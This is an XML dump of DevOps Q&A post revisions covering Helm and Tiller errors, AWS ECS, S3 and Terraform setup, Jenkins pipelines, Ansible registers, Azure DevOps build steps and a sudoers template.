  <row Id="20757" PostHistoryTypeId="5" PostId="6482" RevisionGUID="0cd133bd-d90a-4109-b1f9-ca7c7bd47ed5" CreationDate="2019-03-04T14:38:19.213" UserId="12203" Comment="added 677 characters in body" Text="Using helm for deploying chart on my Kubernetes cluster, since one day, I can't deploy a new one or upgrading one existed.&#xD;&#xA;&#xD;&#xA;Indeed, each time I am using helm I have an error message telling me that it is not possible to install or upgrade ressources.&#xD;&#xA;&#xD;&#xA;If I run `helm install --name foo . -f values.yaml --namespace foo-namespace` I have this output:&#xD;&#xA;&#xD;&#xA;&gt; Error: release foo failed: the server could not find the requested&#xD;&#xA;&gt; resource&#xD;&#xA;&#xD;&#xA;If I run `helm upgrade --install foo . -f values.yaml --namespace foo-namespace` or `helm upgrade foo . -f values.yaml --namespace foo-namespace` I have this error:&#xD;&#xA;&#xD;&#xA;&gt; Error: UPGRADE FAILED: &quot;foo&quot; has no deployed releases&#xD;&#xA;&#xD;&#xA;I don't really understand why.&#xD;&#xA;&#xD;&#xA;This is my helm version:&#xD;&#xA;```&#xD;&#xA;Client: &amp;version.Version{SemVer:&quot;v2.12.3&quot;, GitCommit:&quot;eecf22f77df5f65c823aacd2dbd30ae6c65f186e&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;Server: &amp;version.Version{SemVer:&quot;v2.12.3&quot;, GitCommit:&quot;eecf22f77df5f65c823aacd2dbd30ae6c65f186e&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;On my kubernetes cluster I have tiller deployed with the same version, when I run `kubectl describe pods tiller-deploy-84b... -n kube-system`:&#xD;&#xA;```&#xD;&#xA;Name:               tiller-deploy-84b8...&#xD;&#xA;Namespace:          kube-system&#xD;&#xA;Priority:           0&#xD;&#xA;PriorityClassName:  &lt;none&gt;&#xD;&#xA;Node:               k8s-worker-1/167.114.249.216&#xD;&#xA;Start Time:         Tue, 26 Feb 2019 10:50:21 +0100&#xD;&#xA;Labels:             app=helm&#xD;&#xA;                    name=tiller&#xD;&#xA;                    pod-template-hash=84b...&#xD;&#xA;Annotations:        &lt;none&gt;&#xD;&#xA;Status:             Running&#xD;&#xA;IP:                 &lt;IP_NUMBER&gt;&#xD;&#xA;Controlled By:      ReplicaSet/tiller-deploy-84b8...&#xD;&#xA;Containers:&#xD;&#xA;  tiller:&#xD;&#xA;    Container ID:   docker://0302f9957d5d83db22...&#xD;&#xA;    Image:          gcr.io/kubernetes-helm/tiller:v2.12.3&#xD;&#xA;    Image ID:       docker-pullable://gcr.io/kubernetes-helm/tiller@sha256:cab750b402d24d...&#xD;&#xA;    Ports:          44134/TCP, 44135/TCP&#xD;&#xA;    Host Ports:     0/TCP, 0/TCP&#xD;&#xA;    State:          Running&#xD;&#xA;      Started:      Tue, 26 Feb 2019 10:50:28 +0100&#xD;&#xA;    Ready:          True&#xD;&#xA;    Restart Count:  0&#xD;&#xA;    Liveness:       http-get http://:44135/liveness delay=1s timeout=1s period=10s #success=1 #failure=3&#xD;&#xA;    Readiness:      http-get http://:44135/readiness delay=1s timeout=1s period=10s #success=1 #failure=3&#xD;&#xA;    Environment:&#xD;&#xA;      TILLER_NAMESPACE:    kube-system&#xD;&#xA;      TILLER_HISTORY_MAX:  0&#xD;&#xA;    Mounts:&#xD;&#xA;      /var/run/secrets/kubernetes.io/serviceaccount from helm-token-... (ro)&#xD;&#xA;Conditions:&#xD;&#xA;  Type              Status&#xD;&#xA;  Initialized       True &#xD;&#xA;  Ready             True &#xD;&#xA;  ContainersReady   True &#xD;&#xA;  PodScheduled      True &#xD;&#xA;Volumes:&#xD;&#xA;  helm-token-...:&#xD;&#xA;    Type:        Secret (a volume populated by a Secret)&#xD;&#xA;    SecretName:  helm-token-...&#xD;&#xA;    Optional:    false&#xD;&#xA;QoS Class:       BestEffort&#xD;&#xA;Node-Selectors:  &lt;none&gt;&#xD;&#xA;Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s&#xD;&#xA;                 node.kubernetes.io/unreachable:NoExecute for 300s&#xD;&#xA;Events:&#xD;&#xA;  Type    Reason     Age   From                   Message&#xD;&#xA;  ----    ------     ----  ----                   -------&#xD;&#xA;  Normal  Scheduled  26m   default-scheduler      Successfully assigned kube-system/tiller-deploy-84b86cbc59-kxjqv to worker-1&#xD;&#xA;  Normal  Pulling    26m   kubelet, k8s-worker-1  pulling image &quot;gcr.io/kubernetes-helm/tiller:v2.12.3&quot;&#xD;&#xA;  Normal  Pulled     26m   kubelet, k8s-worker-1  Successfully pulled image &quot;gcr.io/kubernetes-helm/tiller:v2.12.3&quot;&#xD;&#xA;  Normal  Created    26m   kubelet, k8s-worker-1  Created container&#xD;&#xA;  Normal  Started    26m   kubelet, k8s-worker-1  Started container&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;Following answer suggestion, I have run these two commands `helm upgrade foo . -f values.yaml --namespace foo-namespace --force` | `helm upgrade --install foo . -f values.yaml --namespace foo-namespace --force` and I still get an error:&#xD;&#xA;&#xD;&#xA;    UPGRADE FAILED&#xD;&#xA;    ROLLING BACK&#xD;&#xA;    Error: failed to create resource: the server could not find the requested resource&#xD;&#xA;    Error: UPGRADE FAILED: failed to create resource: the server could not find the requested resource&#xD;&#xA;&#xD;&#xA;Notice that foo-namespace already exist. So the error don't come from the namespace name. Indeed, if I run `helm list`, I can see that the **foo** chart is in a `FAILED` status.&#xD;&#xA;&#xD;&#xA;Is someone have faced the same issue ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20760" PostHistoryTypeId="2" PostId="6529" RevisionGUID="e52a8c10-26cc-4842-a223-272c6a651e47" CreationDate="2019-03-04T15:58:09.150" UserId="12728" Text="I'm trying to use amazon service discovery to register a Redis server in order to be reachable by other **ECS** services in the same cluster.&#xD;&#xA;&#xD;&#xA;I'm using **EC2** to deploy my services not Fargate, so service discovery create a simple **SRV** DNS record, that's mean my others services must request **R53** service to get a real &quot;**A**&quot; record to have access to Redis service.&#xD;&#xA;&#xD;&#xA;My question for DevOps/AWS engineer is: what's the correct way to do so? A request to **R53** each time absolutely not a good idea." ContentLicense="CC BY-SA 4.0" />
  <row Id="20761" PostHistoryTypeId="1" PostId="6529" RevisionGUID="e52a8c10-26cc-4842-a223-272c6a651e47" CreationDate="2019-03-04T15:58:09.150" UserId="12728" Text="How to use ecs service dicovery" ContentLicense="CC BY-SA 4.0" />
  <row Id="20762" PostHistoryTypeId="3" PostId="6529" RevisionGUID="e52a8c10-26cc-4842-a223-272c6a651e47" CreationDate="2019-03-04T15:58:09.150" UserId="12728" Text="&lt;amazon-ec2&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20764" PostHistoryTypeId="2" PostId="6530" RevisionGUID="248ce70a-5691-40f6-8b83-4316cafb252c" CreationDate="2019-03-04T18:46:34.720" UserId="7770" Text="Yes, **Resource** is a required element on S3 bucket policies. If the resource is omitted, the API will respond with an error resembling this one below.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;status code: 400&#xD;&#xA;Error putting S3 policy: MalformedPolicy: Statement is missing required element&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The reasoning is that each statement could apply to the bucket itself, the contents of the bucket, or some subset of the bucket contents, and it's up to the user to clarify. In theory AWS could provide a default that includes both the bucket and all of its contents, but that design probably wasn't chosen because it makes it too easy to accidentally make the bucket policies broader than expected." ContentLicense="CC BY-SA 4.0" />
  <row Id="20765" PostHistoryTypeId="5" PostId="6530" RevisionGUID="c2820bfd-236a-43a1-ad7d-7181c380809d" CreationDate="2019-03-04T18:52:01.400" UserId="7770" Comment="add note about wildcards" Text="Yes, **Resource** is a required element on S3 bucket policies. If the resource is omitted, the API will respond with an error resembling this one below.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;status code: 400&#xD;&#xA;Error putting S3 policy: MalformedPolicy: Statement is missing required element&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The reasoning is that each statement could apply to the bucket itself, the contents of the bucket, or some subset of the bucket contents, and it's up to the user to clarify. In theory AWS could provide a default that includes both the bucket and all of its contents, but that design probably wasn't chosen because it makes it too easy to accidentally make the bucket policies broader than expected.&#xD;&#xA;&#xD;&#xA;Additionally, it is **not permissible** to use a wildcard in the resource element of an S3 bucket policy. Attempts to do so will yield an error such as this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error putting S3 policy: MalformedPolicy: Policy has invalid resource&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="20766" PostHistoryTypeId="2" PostId="6531" RevisionGUID="7b5755ad-2ce1-48bb-9bc4-7ef1fd9f3322" CreationDate="2019-03-04T19:33:29.897" UserId="7770" Text="I am currently using Terraform with S3 remote state. The IAM user that I'm using to run Terraform exists in the same AWS account as the S3 bucket holding the remote state files. This is all working fine.&#xD;&#xA;&#xD;&#xA;However, I have IAM users in other AWS accounts (all part of the same AWS organization) and I want to grant them access to use terraform in the main account. It seems like I should be able to do this with IAM roles. I've created an IAM Role in the main account, and I've configured the `assume_role` attribute of the `aws` provider to assume a role in the main AWS account.&#xD;&#xA;&#xD;&#xA;However, this approach fails because the user in the other AWS account doesn't have access to the remote state files in S3. I've tried granting access to the remote state files to the IAM role, but terraform apparently tries to fetch state _before_ the `aws` provider is loaded and the new IAM role is assumed.&#xD;&#xA;&#xD;&#xA;Is there any way to grant access to the remote state files in S3? Or more generally, is there any way to allow users across multiple AWS accounts to perform terraform operations across the same multiple AWS accounts, even though sometimes the S3 remote state will be located in a different account?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20767" PostHistoryTypeId="1" PostId="6531" RevisionGUID="7b5755ad-2ce1-48bb-9bc4-7ef1fd9f3322" CreationDate="2019-03-04T19:33:29.897" UserId="7770" Text="Can Terraform S3 remote state be kept in a different AWS account?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20768" PostHistoryTypeId="3" PostId="6531" RevisionGUID="7b5755ad-2ce1-48bb-9bc4-7ef1fd9f3322" CreationDate="2019-03-04T19:33:29.897" UserId="7770" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;amazon-s3&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20769" PostHistoryTypeId="2" PostId="6532" RevisionGUID="f7ff2c7e-bc90-4f67-b8a7-b55f20a010d2" CreationDate="2019-03-04T21:16:32.947" UserId="4115" Text="In my experience, the easiest way to do this is to put Jenkins behind an SSL-terminating proxy, such as Apache or Nginx.  You can also configure SSL within Jenkins itself, but I've found that using a proxy is usually a lot easier to set up and manage with regards to SSL." ContentLicense="CC BY-SA 4.0" />
  <row Id="20770" PostHistoryTypeId="2" PostId="6533" RevisionGUID="98f82e8c-f90a-42c9-b63b-d9cf907cebe0" CreationDate="2019-03-05T20:47:22.567" UserId="7646" Text="I am struggling to set up an input step in a **scripted** Jenkins pipeline that will let me as the user to input a string.&#xD;&#xA;&#xD;&#xA;Scenario:&#xD;&#xA;I am building a Docker image. I want to ask the user what tags to tag the image with once it's built. I want the user to supply a comma separated list like so:&#xD;&#xA;latest,0.0.4,some-tag-name&#xD;&#xA;&#xD;&#xA;All I have right now is an input asking the user if the core image should be built:&#xD;&#xA;      &#xD;&#xA;      def buildCoreImage = input(&#xD;&#xA;        message: 'Build Core Image?',&#xD;&#xA;        ok: 'Yes', &#xD;&#xA;        parameters: [&#xD;&#xA;          booleanParam(defaultValue: true, description: 'Push the button to build core image.',name: 'Yes?')&#xD;&#xA;        ]&#xD;&#xA;      )&#xD;&#xA;&#xD;&#xA;      echo &quot;Build core?:&quot; + buildCoreImage&#xD;&#xA;&#xD;&#xA;So in theory it should be as easy as changing the booleanParam to a stringParam, BUT the documentation does not have it:&#xD;&#xA;[Jenkins - Pipeline: Input Step][1]&#xD;&#xA;&#xD;&#xA;Thanks for your time!&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/pipeline/steps/pipeline-input-step/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20771" PostHistoryTypeId="1" PostId="6533" RevisionGUID="98f82e8c-f90a-42c9-b63b-d9cf907cebe0" CreationDate="2019-03-05T20:47:22.567" UserId="7646" Text="Jenkins - Scripted Pipeline - Input String" ContentLicense="CC BY-SA 4.0" />
  <row Id="20772" PostHistoryTypeId="3" PostId="6533" RevisionGUID="98f82e8c-f90a-42c9-b63b-d9cf907cebe0" CreationDate="2019-03-05T20:47:22.567" UserId="7646" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20773" PostHistoryTypeId="2" PostId="6534" RevisionGUID="217b80ec-037d-483b-9817-f6603870e1a0" CreationDate="2019-03-05T20:58:30.790" UserId="12743" Text="I set credential globally in declarative pipeline like this and then my Jenkins could talk with Google Dataflow in all stages.  For example, I used a secret file (google service account). &#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;code&gt;&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    environment {&#xD;&#xA;        //Secret File ID was defined in Jenkins -&gt; Credentials -&gt; System -&gt; Global credentials&#xD;&#xA;        GOOGLE_APPLICATION_CREDENTIALS = credentials('mySecretFileId')&#xD;&#xA;        &#xD;&#xA;        GCP_PROJECT_NAME = 'myProject'&#xD;&#xA;    }&#xD;&#xA;   stages {&#xD;&#xA;             stage('step 1') {&#xD;&#xA;              steps {&#xD;&#xA;                sh &quot;gcloud auth activate-service-account --key-file ${env.GOOGLE_APPLICATION_CREDENTIALS}&quot;&#xD;&#xA;                sh &quot;gcloud config set project ${env.GCP_PROJECT_NAME}&quot;&#xD;&#xA;&#xD;&#xA;                // access google dataflow&#xD;&#xA;                sh &quot;gcloud dataflow jobs list --status=active&quot;&#xD;&#xA;                // ....&#xD;&#xA;              }&#xD;&#xA;             }&#xD;&#xA;             stage('stage 2') {&#xD;&#xA;               steps {&#xD;&#xA;                  // access google dataflow&#xD;&#xA;                  sh &quot;gcloud dataflow jobs list --status=active&quot;&#xD;&#xA;               }&#xD;&#xA;             }&#xD;&#xA;             //...&#xD;&#xA;   }&#xD;&#xA;}   &#xD;&#xA;&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20774" PostHistoryTypeId="2" PostId="6535" RevisionGUID="f272dc51-8c3f-40df-b990-964c3c5dd831" CreationDate="2019-03-05T21:40:23.690" UserId="12313" Text="&gt; Are those typically &quot;microservices&quot; or is this something different?&#xD;&#xA;&#xD;&#xA;&quot;Cloud-ish&quot; services could include microservices. I would include services that are replicated and/or load-balanced, such that you can sustain downtime on a single machine, VM, or running binary without service disruption.&#xD;&#xA;&#xD;&#xA;Their differentiation of VM-like services looks like services which have a lot of local state (in memory or on disk) where frequent restarting would incur lots of downtime (from either the time it takes to boot/populate a new VM or because the service is singly-homed.)&#xD;&#xA;&#xD;&#xA;&gt; Would you put applications that scale on demand as part of those&#xD;&#xA;&gt; &quot;cloud-ish&quot; services, or would they fall into the &quot;lightweight&#xD;&#xA;&gt; compute engine&quot; category instead?&#xD;&#xA;&#xD;&#xA;They could be in either category. Scaling on demand is a commonly-used &quot;feature&quot; of Cloud computing. Think of &quot;Lightweight compute engine&quot; tasks as things like batch jobs, manually run jobs, one-offs etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="20781" PostHistoryTypeId="2" PostId="6538" RevisionGUID="ac2bc1bb-9748-4977-844c-4e1a120b77f0" CreationDate="2019-03-06T04:10:07.793" UserId="11495" Text="As I understand you need to run and Application which is loading it Servlet container and using reverse proxy to serve the static content and you also want that your sample.war and other configuration remains there regardless of the container life cycle. &#xD;&#xA;&#xD;&#xA;Here is an Example project which exactly what your are looking for.&#xD;&#xA;[Please see this project on Github ][1]&#xD;&#xA;&#xD;&#xA;Please let me know if you stuck somewhere around. I am glad to assist you.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/savicprvoslav/kubernetes-front-end-backend-example" ContentLicense="CC BY-SA 4.0" />
  <row Id="20782" PostHistoryTypeId="5" PostId="6127" RevisionGUID="9a7f82b8-6bd3-489e-99dd-80ff4b0e2dd1" CreationDate="2019-03-06T04:45:24.520" UserId="7646" Comment="added corrected indentation for codeblock" Text="You need to define variables before the pipeline block starts. Then it should be work.&#xD;&#xA;&#xD;&#xA;    def foo = &quot;foo&quot;&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        agent none&#xD;&#xA;        stages {&#xD;&#xA;            stage(&quot;first&quot;) {&#xD;&#xA;                sh &quot;echo ${foo}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="20783" PostHistoryTypeId="24" PostId="6127" RevisionGUID="9a7f82b8-6bd3-489e-99dd-80ff4b0e2dd1" CreationDate="2019-03-06T04:45:24.520" Comment="Proposed by 7646 approved by 11598 edit id of 951" ContentLicense="CC BY-SA 4.0" />
  <row Id="20784" PostHistoryTypeId="2" PostId="6539" RevisionGUID="3e9fc9da-ff2f-4722-ad61-a9233445107a" CreationDate="2019-03-06T07:23:34.577" UserId="11564" Text="I have situation where i fetch some ip address on the fly with this play,  when env variable is passed as prod, i have to fetch ip in a diff way then when i am in QA env.&#xD;&#xA;&#xD;&#xA;If env is prod the 1st play would get ip address and store in register **&quot;kafkaip&quot;** and i have put a when condition on the 2nd play it gets skipped which is fine as the env is diff.&#xD;&#xA;&#xD;&#xA;But although its skip the 2nd play, it wipes out the register value and my set_fact fails,, any way to overcome below scenario.&#xD;&#xA;&#xD;&#xA;```	&#xD;&#xA;	- name: Get the Kafka InstancesPrivateIps&#xD;&#xA;      local_action: shell aws cloudformation describe-stacks --stack-name &quot;{{ stack_kafka }}&quot; --query &quot;Stacks[*].Outputs[?OutputKey=='KafkaLink'].OutputValue&quot;&#xD;&#xA;      register: kafkaip&#xD;&#xA;      when: &#xD;&#xA;      - stack_kafka is defined&#xD;&#xA;	  &#xD;&#xA;    - name: Get the Kafka InstancesPrivateIps New Automation.&#xD;&#xA;      shell: |&#xD;&#xA;        aws  ec2 describe-instances --filter &quot;Name=tag:StackName,Values=KafkaCluster&quot; --query 'Reservations[].Instances[].PrivateIpAddress' --output text &gt;  /tmp/kafka_ip.txt&#xD;&#xA;      register: kafkaip   &#xD;&#xA;      when: &#xD;&#xA;      - stack_kafka is defined&#xD;&#xA;      - ( deployment_env == &quot;QA&quot; )    &#xD;&#xA;      delegate_to: localhost&#xD;&#xA;&#xD;&#xA;    - name: setting kafka_host.&#xD;&#xA;      set_fact:&#xD;&#xA;        kafka_host: &quot;{{ kafkaip.stdout }}&quot;&#xD;&#xA;      when: stack_kafka is defined	  &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="20785" PostHistoryTypeId="1" PostId="6539" RevisionGUID="3e9fc9da-ff2f-4722-ad61-a9233445107a" CreationDate="2019-03-06T07:23:34.577" UserId="11564" Text="unable to save register value even if the play is skipped!" ContentLicense="CC BY-SA 4.0" />
  <row Id="20786" PostHistoryTypeId="3" PostId="6539" RevisionGUID="3e9fc9da-ff2f-4722-ad61-a9233445107a" CreationDate="2019-03-06T07:23:34.577" UserId="11564" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20787" PostHistoryTypeId="50" PostId="5885" RevisionGUID="00b5cb66-f8e9-4e90-9d8d-3d356a97cde5" CreationDate="2019-03-06T10:03:20.667" UserId="-1" />
  <row Id="20792" PostHistoryTypeId="2" PostId="6541" RevisionGUID="d1c14f4a-f7f3-4ee0-ab9a-fb2fde405af6" CreationDate="2019-03-06T10:11:55.707" UserId="12754" Text="As part of the CI setup, I'd like to run (automated) tests on native macOS GUI software in a 'safe environment' (i.e. without messing with the host software installation too much). Virtual machines (using VirtualBox) work in principle, but they are fairly slow to start/stop and VirtualBox on macOS hosts doesn't seem to be very stable (it works great on Linux hosts though).&#xD;&#xA;&#xD;&#xA;After reading https://devops.stackexchange.com/q/1562/12754 I learned that using Docker works great for testing software on macOS. However, my understanding is that even with [Docker Desktop for Mac](https://docs.docker.com/docker-for-mac/) (which uses Hyperkit to virtualize the OS as opposed to running VMs using VirtualBox), the software running in the container sees a Linux installation.&#xD;&#xA;&#xD;&#xA;Would it be plausible to use Docker anyway (maybe I misunderstood it?) such that the containerized program sees a macOS installation or would some other solution (A plain `chroot`?) work better here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20793" PostHistoryTypeId="1" PostId="6541" RevisionGUID="d1c14f4a-f7f3-4ee0-ab9a-fb2fde405af6" CreationDate="2019-03-06T10:11:55.707" UserId="12754" Text="How can I test native macOS UI software in a container before deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20794" PostHistoryTypeId="3" PostId="6541" RevisionGUID="d1c14f4a-f7f3-4ee0-ab9a-fb2fde405af6" CreationDate="2019-03-06T10:11:55.707" UserId="12754" Text="&lt;continuous-integration&gt;&lt;containers&gt;&lt;testing&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20795" PostHistoryTypeId="5" PostId="6126" RevisionGUID="79663b97-1179-4195-920d-213f3c4f5b0a" CreationDate="2019-03-06T10:12:01.960" UserId="7646" Comment="added corrected indentation for codeblocks" Text="I defined variable in declarative Jenkins pipeline script but having issues with simple variable declaration.&#xD;&#xA;&#xD;&#xA;Here is my script:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent none&#xD;&#xA;        stages {&#xD;&#xA;            stage(&quot;first&quot;) {&#xD;&#xA;                def foo = &quot;foo&quot; // fails with &quot;WorkflowScript: 5: Expected a step @ line 5, column 13.&quot;&#xD;&#xA;                sh &quot;echo ${foo}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;but it's shows error:&#xD;&#xA;&#xD;&#xA;    org.codehaus.groovy.control.MultipleCompilationErrorsException:&#xD;&#xA;    startup failed:&#xD;&#xA;    WorkflowScript: 5: Expected a step @ line 5, column 13.&#xD;&#xA;        def foo = &quot;foo&quot;&#xD;&#xA;        ^&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20796" PostHistoryTypeId="24" PostId="6126" RevisionGUID="79663b97-1179-4195-920d-213f3c4f5b0a" CreationDate="2019-03-06T10:12:01.960" Comment="Proposed by 7646 approved by 40, 11797 edit id of 950" ContentLicense="CC BY-SA 4.0" />
  <row Id="20797" PostHistoryTypeId="2" PostId="6542" RevisionGUID="675028b3-15ea-4314-9dd8-87d2adc72d70" CreationDate="2019-03-06T10:15:34.473" UserId="11797" Text="I migrate my jenkins to new machine succesfully,but after migrate all jenkins job run succesfully. but every build give following error:&#xD;&#xA;&#xD;&#xA;    ln builds/lastSuccessfulBuild /root/.jenkins/jobs/BeepnRide/jobs/43-Server/jobs/BR1.1.2QA-Build/lastSuccessful failed&#xD;&#xA;    java.nio.file.DirectoryNotEmptyException: /root/.jenkins/jobs/BeepnRide/jobs/43-Server/jobs/BR1.1.2QA-Build/lastSuccessful&#xD;&#xA;    	at sun.nio.fs.UnixFileSystemProvider.implDelete(UnixFileSystemProvider.java:242)&#xD;&#xA;    	at sun.nio.fs.AbstractFileSystemProvider.deleteIfExists(AbstractFileSystemProvider.java:108)&#xD;&#xA;    	at java.nio.file.Files.deleteIfExists(Files.java:1165)&#xD;&#xA;    	at hudson.Util.createSymlink(Util.java:1193)&#xD;&#xA;    	at hudson.model.Run.createSymlink(Run.java:1957)&#xD;&#xA;    	at hudson.model.Run.updateSymlinks(Run.java:1938)&#xD;&#xA;    	at org.jenkinsci.plugins.workflow.job.WorkflowRun.run(WorkflowRun.java:286)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:429)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ln builds/lastStableBuild /root/.jenkins/jobs/BeepnRide/jobs/43-Server/jobs/BR1.1.2QA-Build/lastStable failed&#xD;&#xA;    java.nio.file.DirectoryNotEmptyException: /root/.jenkins/jobs/BeepnRide/jobs/43-Server/jobs/BR1.1.2QA-Build/lastStable&#xD;&#xA;    	at sun.nio.fs.UnixFileSystemProvider.implDelete(UnixFileSystemProvider.java:242)&#xD;&#xA;    	at sun.nio.fs.AbstractFileSystemProvider.deleteIfExists(AbstractFileSystemProvider.java:108)&#xD;&#xA;    	at java.nio.file.Files.deleteIfExists(Files.java:1165)&#xD;&#xA;    	at hudson.Util.createSymlink(Util.java:1193)&#xD;&#xA;    	at hudson.model.Run.createSymlink(Run.java:1957)&#xD;&#xA;    	at hudson.model.Run.updateSymlinks(Run.java:1939)&#xD;&#xA;    	at org.jenkinsci.plugins.workflow.job.WorkflowRun.run(WorkflowRun.java:286)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:429) " ContentLicense="CC BY-SA 4.0" />
  <row Id="20798" PostHistoryTypeId="1" PostId="6542" RevisionGUID="675028b3-15ea-4314-9dd8-87d2adc72d70" CreationDate="2019-03-06T10:15:34.473" UserId="11797" Text="Every jenkins build shows error: ln builds/lastSuccessfulBuild /root/.jenkins/jobs/Build/lastSuccessful failed" ContentLicense="CC BY-SA 4.0" />
  <row Id="20799" PostHistoryTypeId="3" PostId="6542" RevisionGUID="675028b3-15ea-4314-9dd8-87d2adc72d70" CreationDate="2019-03-06T10:15:34.473" UserId="11797" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20801" PostHistoryTypeId="2" PostId="6544" RevisionGUID="68465477-1d23-442b-80fc-0768910c394f" CreationDate="2019-03-06T14:45:14.420" UserId="12026" Text="I am new on DevOps world and I am making my first build/release pipeline for a .net web application using Azure DevOps. On the picture bellow, I just add some build steps and create some tasks groups to avoid duplications on the builds (that are similar). I have the `Run on agent` that I called it as `Qa Agent Job`  which runs over the local build agent hosted on my build server (as a windows service). &#xD;&#xA;&#xD;&#xA;My question is related with organization. I have some build steps here and I would like to organize it by sessions, for sample, Nuget Restore, Versioning, Build, Testing, Building services, Publishing artifacts etc. Is that a problem to organize it using the `Run on agent` item on build step? Should I lost any performance like &quot;connecting on the server again&quot; or &quot;start a new process&quot; or something like that?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Zzq8F.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="20802" PostHistoryTypeId="1" PostId="6544" RevisionGUID="68465477-1d23-442b-80fc-0768910c394f" CreationDate="2019-03-06T14:45:14.420" UserId="12026" Text="Organizing the build steps on AzureDevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="20803" PostHistoryTypeId="3" PostId="6544" RevisionGUID="68465477-1d23-442b-80fc-0768910c394f" CreationDate="2019-03-06T14:45:14.420" UserId="12026" Text="&lt;azure-devops&gt;&lt;build-pipeline&gt;&lt;release&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20804" PostHistoryTypeId="5" PostId="4743" RevisionGUID="b590dd4f-8542-4591-9a39-51605c360594" CreationDate="2019-03-06T17:41:17.493" UserId="6619" Comment="cleaned up formatting and typos" Text="### Firstly&#xD;&#xA; &#xD;&#xA;you should refer to Jinja handling of spaces/newlines. your current template would create new lines, And I think this will confuse `sudo` and fail syntax validation (IIRC, the right syntax is to add `-` like: `-%}` at the for loop, but you should &quot;play&quot; and see what happens). To render a template you can do it on your workstation, without running it on actual target machine.&#xD;&#xA;&#xD;&#xA;Also, I think creating the template with 1 command at instruction line is more readable:&#xD;&#xA;&#xD;&#xA;    {% for command in commands %}&#xD;&#xA;    %{{group}} ALL=(ALL) NOPASSWD: {{command}}&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;### Secondly&#xD;&#xA;&#xD;&#xA;I do not recommend to edit existing global files with ansible. Instead create your custom template under `/etc/sudoers.d/` (like you've mentioned you saw).&#xD;&#xA;&#xD;&#xA;This is the right way to do it, because:&#xD;&#xA;&#xD;&#xA; - the system will have all defaults as is&#xD;&#xA; - your template will be far shorter&#xD;&#xA; - if you do mistakes, you would be sure where to look - in your template.&#xD;&#xA;&#xD;&#xA;### Thirdly&#xD;&#xA;&#xD;&#xA;I think executing `which` inside `sudoers` is an original idea, but should not work." ContentLicense="CC BY-SA 4.0" />
  <row Id="20805" PostHistoryTypeId="24" PostId="4743" RevisionGUID="b590dd4f-8542-4591-9a39-51605c360594" CreationDate="2019-03-06T17:41:17.493" Comment="Proposed by 6619 approved by -1 edit id of 952" ContentLicense="CC BY-SA 4.0" />
